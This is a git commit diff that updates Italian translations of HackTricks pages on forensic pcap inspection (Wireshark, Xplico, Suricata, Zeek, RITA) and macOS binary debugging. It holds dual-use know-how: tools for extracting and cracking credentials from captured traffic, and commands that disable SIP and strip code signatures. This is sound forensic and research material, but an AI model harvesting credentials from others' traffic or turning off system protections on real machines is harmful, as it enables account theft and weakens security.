mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol
This commit is contained in:
parent
c7daa0c5a5
commit
a2908aea18
11 changed files with 633 additions and 529 deletions
|
@ -637,6 +637,7 @@
|
|||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
|
|
|
@ -1,43 +1,44 @@
|
|||
# Ispezione di Pcap
|
||||
# Ispezione Pcap
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non supportato da tutti gli strumenti**. Potrebbe essere necessario convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poterlo utilizzare in altri strumenti.
|
||||
Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato file PCAP; **PCAPNG è più recente e non supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP usando Wireshark o un altro strumento compatibile, per poterlo utilizzare in altri strumenti.
|
||||
{% endhint %}
|
||||
|
||||
## Strumenti online per pcaps
|
||||
|
||||
* Se l'intestazione del tuo pcap è **corrotta**, dovresti provare a **ripararla** utilizzando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Estrarre **informazioni** e cercare **malware** all'interno di un pcap su [**PacketTotal**](https://packettotal.com)
|
||||
* Se l'intestazione del tuo pcap è **corrotta** dovresti provare a **ripararla** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Estrarre **informazioni** e cercare **malware** all'interno di un pcap in [**PacketTotal**](https://packettotal.com)
|
||||
* Cercare **attività malevole** utilizzando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Analisi completa del pcap dal browser su** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Estrarre informazioni
|
||||
## Estrarre Informazioni
|
||||
|
||||
Gli strumenti seguenti sono utili per estrarre statistiche, file, ecc.
|
||||
I seguenti strumenti sono utili per estrarre statistiche, file, ecc.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**Se stai per analizzare un PCAP, devi fondamentalmente sapere come usare Wireshark**
|
||||
**Se stai per analizzare un PCAP devi fondamentalmente sapere come usare Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
Puoi trovare alcuni trucchi di Wireshark in:
|
||||
|
@ -46,11 +47,15 @@ Puoi trovare alcuni trucchi di Wireshark in:
|
|||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Framework Xplico
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap Xplico estrae ogni email (protocolli POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via.
|
||||
Analisi pcap dal browser.
|
||||
|
||||
**Installare**
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap, Xplico estrae ogni email (protocolli POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via.
|
||||
|
||||
**Installazione**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
|
@ -69,21 +74,21 @@ Successivamente crea un **nuovo caso**, crea una **nuova sessione** all'interno
|
|||
### NetworkMiner
|
||||
|
||||
Come Xplico, è uno strumento per **analizzare ed estrarre oggetti dai file pcap**. Ha una versione gratuita che puoi **scaricare** [**qui**](https://www.netresec.com/?page=NetworkMiner). Funziona con **Windows**.\
|
||||
Questo strumento è anche utile per ottenere **altri tipi di informazioni analizzate** dai pacchetti al fine di conoscere in modo **più rapido** ciò che stava accadendo.
|
||||
Questo strumento è anche utile per ottenere **altri tipi di informazioni analizzate** dai pacchetti al fine di poter sapere cosa stava accadendo in modo **più rapido**.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona su Windows)**.\
|
||||
Questo è un altro strumento utile che **analizza i pacchetti** e organizza le informazioni in modo utile per **conoscere ciò che sta accadendo all'interno**.
|
||||
Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in modo utile per **sapere cosa sta accadendo all'interno**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Estrarre e codificare nomi utente e password (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Estrarre hash di autenticazione e craccarli utilizzando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Estrarre hash di autenticazione e craccarli usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Creare un diagramma di rete visuale (Nodi di rete e utenti)
|
||||
* Estrarre le query DNS
|
||||
* Estrarre query DNS
|
||||
* Ricostruire tutte le sessioni TCP e UDP
|
||||
* Carving di file
|
||||
* Intaglio di file
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -91,13 +96,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
Se stai cercando qualcosa all'interno del pcap, puoi utilizzare **ngrep**. Ecco un esempio che utilizza i filtri principali:
|
||||
Se stai **cercando** qualcosa all'interno del file pcap, puoi utilizzare **ngrep**. Ecco un esempio che utilizza i filtri principali:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Intaglio
|
||||
|
||||
Utilizzare tecniche di intaglio comuni può essere utile per estrarre file e informazioni dal pcap:
|
||||
Utilizzare le tecniche comuni di intaglio può essere utile per estrarre file e informazioni dal pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
@ -105,15 +110,15 @@ Utilizzare tecniche di intaglio comuni può essere utile per estrarre file e inf
|
|||
|
||||
### Cattura delle credenziali
|
||||
|
||||
Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
|
||||
È possibile utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **il compito di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Verifica Exploit/Malware
|
||||
## Controlla Exploit/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
|
@ -124,31 +129,7 @@ apt-get install oinkmaster
|
|||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Verifica pcap**
|
||||
|
||||
To analyze a network traffic capture file (pcap), you can use tools like Wireshark or tcpdump. These tools allow you to inspect the packets and extract valuable information from the capture.
|
||||
|
||||
Per analizzare un file di cattura del traffico di rete (pcap), puoi utilizzare strumenti come Wireshark o tcpdump. Questi strumenti ti consentono di ispezionare i pacchetti ed estrarre informazioni preziose dalla cattura.
|
||||
|
||||
To start, open the pcap file in Wireshark. You will see a list of captured packets, each with various details such as source and destination IP addresses, protocols used, and payload data.
|
||||
|
||||
Per iniziare, apri il file pcap in Wireshark. Vedrai un elenco di pacchetti catturati, ognuno con vari dettagli come indirizzi IP di origine e destinazione, protocolli utilizzati e dati del payload.
|
||||
|
||||
You can filter the packets based on specific criteria, such as IP addresses, protocols, or port numbers. This can help you focus on the relevant packets for your analysis.
|
||||
|
||||
Puoi filtrare i pacchetti in base a criteri specifici, come indirizzi IP, protocolli o numeri di porta. Questo può aiutarti a concentrarti sui pacchetti rilevanti per la tua analisi.
|
||||
|
||||
By inspecting the packet details, you can identify potential security issues, such as unauthorized access attempts, suspicious network activity, or data leaks.
|
||||
|
||||
Ispezionando i dettagli del pacchetto, puoi identificare potenziali problemi di sicurezza, come tentativi di accesso non autorizzati, attività di rete sospette o perdite di dati.
|
||||
|
||||
Additionally, you can analyze the payload data to extract information such as usernames, passwords, or sensitive data that may have been transmitted over the network.
|
||||
|
||||
Inoltre, puoi analizzare i dati del payload per estrarre informazioni come nomi utente, password o dati sensibili che potrebbero essere stati trasmessi sulla rete.
|
||||
|
||||
Remember to always handle pcap files with caution, as they may contain sensitive information. Make sure to follow ethical guidelines and legal requirements when analyzing network traffic captures.
|
||||
|
||||
Ricorda sempre di gestire i file pcap con cautela, poiché potrebbero contenere informazioni sensibili. Assicurati di seguire le linee guida etiche e i requisiti legali durante l'analisi delle catture di traffico di rete.
|
||||
**Controlla il file pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
|
@ -156,15 +137,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) è uno strumento che
|
||||
|
||||
* Legge un file PCAP ed estrae gli stream HTTP.
|
||||
* Scompatta eventuali stream compressi con gzip.
|
||||
* Scansiona ogni file con Yara.
|
||||
* Scrive un report.txt.
|
||||
* Opzionalmente salva i file corrispondenti in una directory.
|
||||
* Legge un file PCAP ed estrae flussi Http.
|
||||
* sgonfia gzip qualsiasi flusso compresso
|
||||
* Scansiona ogni file con yara
|
||||
* Scrive un report.txt
|
||||
* Opzionalmente salva i file corrispondenti in una cartella
|
||||
|
||||
### Analisi di malware
|
||||
### Analisi Malware
|
||||
|
||||
Verifica se puoi trovare qualche impronta di un malware noto:
|
||||
Controlla se riesci a trovare qualsiasi impronta di un malware conosciuto:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -172,11 +153,9 @@ Verifica se puoi trovare qualche impronta di un malware noto:
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o maligne. Zeek supporta anche una vasta gamma di attività di analisi del traffico al di là del dominio della sicurezza, inclusa la misurazione delle prestazioni e la risoluzione dei problemi.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Monitor di Sicurezza di Rete (NSM) per supportare le indagini su attività sospette o dannose. Zeek supporta anche una vasta gamma di compiti di analisi del traffico al di là del dominio della sicurezza, inclusa la misurazione delle prestazioni e la risoluzione dei problemi.
|
||||
|
||||
Fondamentalmente, i log creati da `zeek` non sono **pcap**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log in cui sono presenti le **informazioni** sui pcap.
|
||||
|
||||
### Informazioni sulle connessioni
|
||||
Fondamentalmente, i log creati da `zeek` non sono **pcap**. Pertanto sarà necessario utilizzare **altri strumenti** per analizzare i log dove sono presenti le **informazioni** sui pcap.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -227,22 +206,6 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### Informazioni DNS
|
||||
|
||||
When analyzing network traffic captured in a PCAP file, it is often useful to inspect the DNS (Domain Name System) information. DNS is responsible for translating domain names into IP addresses, allowing devices to communicate with each other over the internet.
|
||||
|
||||
To inspect DNS information in a PCAP file, you can use tools like Wireshark or tcpdump. These tools allow you to view DNS queries and responses, which can provide valuable insights into the network activity.
|
||||
|
||||
When inspecting DNS information, pay attention to the following:
|
||||
|
||||
- **DNS queries**: These are requests made by a device to resolve a domain name into an IP address. Analyzing DNS queries can help identify the domains being accessed by the device.
|
||||
|
||||
- **DNS responses**: These are the replies sent by DNS servers, providing the IP address associated with a domain name. Analyzing DNS responses can reveal the IP addresses of the servers being accessed.
|
||||
|
||||
- **DNS record types**: DNS supports various record types, such as A, AAAA, CNAME, MX, and TXT. Each record type serves a different purpose and provides different information. Understanding the record types can help in analyzing DNS information effectively.
|
||||
|
||||
- **DNS cache**: DNS information is often cached by devices and DNS servers to improve performance. Analyzing the DNS cache can provide insights into previously resolved domain names and their associated IP addresses.
|
||||
|
||||
By inspecting DNS information in a PCAP file, you can gain a better understanding of the network activity and identify any suspicious or malicious domains or IP addresses. This can be valuable in forensic investigations or network security analysis.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
@ -259,7 +222,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
|||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Altri trucchi per l'analisi dei file pcap
|
||||
## Altri trucchi di analisi pcap
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
|
@ -277,7 +240,7 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento sulla sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento più rilevante nel campo della sicurezza informatica in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -287,10 +250,10 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
@ -18,9 +18,9 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware stealer**.
|
||||
|
||||
Il loro obiettivo principale è contrastare i sequestri di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
|
@ -98,12 +98,12 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) è uno strumento utile per ispezionare i file **.pkg** (installatori) e vedere cosa c'è dentro prima di installarli.\
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) è uno strumento utile per ispezionare file **.pkg** (installatori) e vedere cosa c'è dentro prima di installarlo.\
|
||||
Questi installatori contengono script bash `preinstall` e `postinstall` che gli autori di malware di solito sfruttano per **persistere** il **malware**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
Questo strumento consente di **montare** le immagini disco Apple (**.dmg**) per ispezionarle prima di eseguire qualsiasi operazione:
|
||||
Questo strumento consente di **montare** immagini disco Apple (**.dmg**) per ispezionarle prima di eseguire qualsiasi operazione:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ Sarà montato in `/Volumes`
|
|||
#### Metadati
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che i programmi scritti in Objective-C **mantengono** le loro dichiarazioni di classe **quando** **compilati** in [binari Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tali dichiarazioni di classe **includono** il nome e il tipo di:
|
||||
Nota che i programmi scritti in Objective-C **mantengono** le loro dichiarazioni di classe **quando** vengono **compilati** in [binari Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tali dichiarazioni di classe **includono** il nome e il tipo di:
|
||||
{% endhint %}
|
||||
|
||||
* La classe
|
||||
|
@ -135,7 +135,7 @@ I parametri che questa funzione si aspetta sono:
|
|||
|
||||
- Il primo parametro (**self**) è "un puntatore che punta all'**istanza della classe che deve ricevere il messaggio**". O più semplicemente, è l'oggetto su cui il metodo viene invocato. Se il metodo è un metodo di classe, questo sarà un'istanza dell'oggetto della classe (nel suo complesso), mentre per un metodo di istanza, self punterà a un'istanza istanziata della classe come oggetto.
|
||||
- Il secondo parametro, (**op**), è "il selettore del metodo che gestisce il messaggio". Di nuovo, in modo più semplice, questo è semplicemente il **nome del metodo**.
|
||||
- I parametri rimanenti sono eventuali **valori richiesti dal metodo** (op).
|
||||
- I parametri rimanenti sono **eventuali valori richiesti dal metodo** (op).
|
||||
|
||||
Guarda come **ottenere facilmente queste informazioni con `lldb` in ARM64** in questa pagina:
|
||||
|
||||
|
@ -155,6 +155,10 @@ x64:
|
|||
| **6° argomento** | **r9** | **4° argomento per il metodo** |
|
||||
| **7°+ argomento** | <p><strong>rsp+</strong><br><strong>(nello stack)</strong></p> | **5°+ argomento per il metodo** |
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) è uno strumento per ottenere le classi Objc da dylibs.
|
||||
|
||||
### Swift
|
||||
|
||||
Con i binari Swift, poiché c'è compatibilità con Objective-C, a volte è possibile estrarre le dichiarazioni utilizzando [class-dump](https://github.com/nygard/class-dump/) ma non sempre.
|
||||
|
@ -183,25 +187,48 @@ swift demangle
|
|||
```
|
||||
### Binari compressi
|
||||
|
||||
* Controllare l'alta entropia
|
||||
* Controllare le stringhe (se non ci sono stringhe comprensibili, è compresso)
|
||||
* Controlla l'alta entropia
|
||||
* Controlla le stringhe (se non ci sono stringhe comprensibili, è compresso)
|
||||
* Il pacchetto UPX per MacOS genera una sezione chiamata "\_\_XHDR"
|
||||
|
||||
## Analisi dinamica
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che per eseguire il debug dei binari, **SIP deve essere disabilitato** (`csrutil disable` o `csrutil enable --without debug`) oppure copiare i binari in una cartella temporanea e **rimuovere la firma** con `codesign --remove-signature <percorso-binario>` o consentire il debug del binario (puoi utilizzare [questo script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
Nota che per poter eseguire il debug dei binari, **SIP deve essere disabilitato** (`csrutil disable` o `csrutil enable --without debug`) oppure copiare i binari in una cartella temporanea e **rimuovere la firma** con `codesign --remove-signature <percorso-binario>` o consentire il debug del binario (puoi utilizzare [questo script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nota che per **strumentare i binari di sistema** (come `cloudconfigurationd`) su macOS, **SIP deve essere disabilitato** (rimuovere solo la firma non funzionerà).
|
||||
Nota che per **strumentalizzare i binari di sistema** (come `cloudconfigurationd`) su macOS, **SIP deve essere disabilitato** (rimuovere solo la firma non funzionerà).
|
||||
{% endhint %}
|
||||
|
||||
### API
|
||||
|
||||
macOS espone alcune API interessanti che forniscono informazioni sui processi:
|
||||
|
||||
* `proc_info`: Questa è quella principale che fornisce molte informazioni su ciascun processo. È necessario essere root per ottenere informazioni su altri processi ma non sono necessari privilegi speciali o porte mach.
|
||||
* `libsysmon.dylib`: Consente di ottenere informazioni sui processi tramite funzioni esposte XPC, tuttavia è necessario disporre dell'entitlement `com.apple.sysmond.client`.
|
||||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
**Stackshotting** è una tecnica utilizzata per catturare lo stato dei processi, inclusi gli stack di chiamate di tutti i thread in esecuzione. Questo è particolarmente utile per il debug, l'analisi delle prestazioni e la comprensione del comportamento del sistema in un punto specifico nel tempo. Su iOS e macOS, lo stackshotting può essere eseguito utilizzando diversi strumenti e metodi come gli strumenti **`sample`** e **`spindump`**.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
